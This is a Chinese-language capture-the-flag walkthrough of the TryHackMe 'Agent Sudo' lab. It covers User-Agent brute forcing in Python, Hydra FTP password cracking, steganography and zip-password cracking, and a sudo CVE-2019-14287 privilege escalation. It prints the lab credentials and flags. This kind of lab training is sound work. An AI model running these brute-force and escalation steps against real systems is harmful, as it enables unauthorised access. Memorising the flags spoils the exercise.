URL: https://tryhackme.com/room/agentsudoctf

IP : 10.10.119.64

Recon

  • 老梗 nmap -A 10.10.119.64
  • 發現有開FTP
  • SSH
  • HTTP嘗試進入 HTTP-
  • 看到他說需要在 useragent 放 Codename (機密代號)
  • 又說 Dear agent, 下面有說 Agent R
  • 所以基本上可以先猜測 Agent AZ

爆猜機密代號

  • 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉 curl
  • 對著 F12 的 Reuest 右鍵,Copy as cURL
  • curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'curl 轉 Python request- 我使用這個網站 https://curl.trillworks.com/把 curl 貼上就可以自動轉 python 的 request 了接下來寫一段扣爆破因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218 運氣很好,C 就猜到ㄌ
import requests

for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
	headers = {
		'User-Agent': i ,
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Language': 'en-US,en;q=0.5',
		'Connection': 'keep-alive',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0, no-cache',
		'Pragma': 'no-cache',
	}

	response = requests.get('http://10.10.119.64/', headers=headers).text
	print(i,len(response))
  • User-Agent:C 發 request在 Firefox 上使用右鍵, Edit and Resend- 修改 User-Agent 為 C 並送出可以發現他自動跳轉到這個網頁- http://10.10.119.64/agent_C_attention.php
  • 內文中發現了 Agent C 叫做 chris
  • 而且他的主管在嘴他說使用弱密碼

FTP

  • 嘗試爆破 FTP因為 nmap 有掃到 ssh 跟 ftp,隨便取 ftp
  • 透過 Hydra + Rockyou 字典來爆hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64可以了解到帳號為 chris密碼為 crystal嘗試登入 FTP- ftp 10.10.119.64
  • 輸入 ls 觀察 ftp 裡面的檔案輸入 get 檔名 把檔案依序載下來觀察 txt 檔案- cat To_agentJ.txt
  • 他說兩張照片都是假ㄉ,裡面有藏東東

Stego

  • 起手式 stringsstrings cutie.png
  • 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ透過 binwalk 觀察是否裡面有藏檔案-
  • 發現 png 後面塞了一個 zip透過 foremost 解出裡面的檔案- foremost cutie.png
  • 會發現資料夾裡面有一包 zip
  • 解壓縮 zip- 用最直覺的 unzip
  • 會發現噴錯
  • 跟據這篇的講法,可以用 7z 來解7z x 00000067.zip-
  • 用 7z 解,會發現 zip 需要密碼爆破 zip 密碼- 先把 zip 轉成 約翰格式
  • zip2john 00000067.zip > j.txt
  • john j.txt --wordlist=/opt/rockyou.txt
  • 就可以取得密碼為 alien
  • 解壓縮 zip- 7z x 00000067.zip
  • 並使用密碼 alien 即可解壓完畢
  • 解壓內容可以看到一組奇怪的密碼 QXJlYTUx
  • 透過 base64 解碼base64 -d 即可獲得 Area51接下來看到另外一個檔案- cute-alien.jpg`
  • 這邊使用 steghide 進行解密
  • steghide extract -sf cute-alien.jpg並搭配 Area51- 發現成功的解出了 message.txt
  • 我們可以發現文章內- 使用者 : james
  • 密碼 : hackerrules!

SSH

  • 透過 SSH 進行登入ssh james@10.10.119.64
  • 尋找到 user_flag.txt-
  • b03d975e8c92a7c04146cfa7a5a313c7

提權

  • 輸入 sudo -l
  • 所以我們不能以 root 身分執行/bin/bashWhat is the incident of the photo called?- 裡面還找到了一張照片
  • 透過 Google 以圖搜圖可以找到這篇新聞
  • Roswell alien autopsy繼續提權- 透過 scp 上傳 Linpeas本機scp linpeas.sh james@10.10.119.64:/tmp
  • 遠端- bash linpeas.sh | tee meow.txt可以觀察到 Linpeas 把 sudo 版本變紅色-
  • 透過Google Sudo 1.8.21p2可以找到 CVE-2019-14287
  • https://www.exploit-db.com/exploits/47502遠端機器剛好有 python 跟 vim- 那就直接開 vim 把 exploit 給貼上
  • 把 python exploit code 給 run 起來- 詢問使用者名稱,就輸入 james
  • 成功提權!取得 root flag-
  • b53a02f55b57d4439e3341834d70c062(Bonus) Who is Agent R?- 信最後 有寫 DesKel aka Agent R
  • 阿不是阿,你名字裡哪裡有 R ㄌ ?__?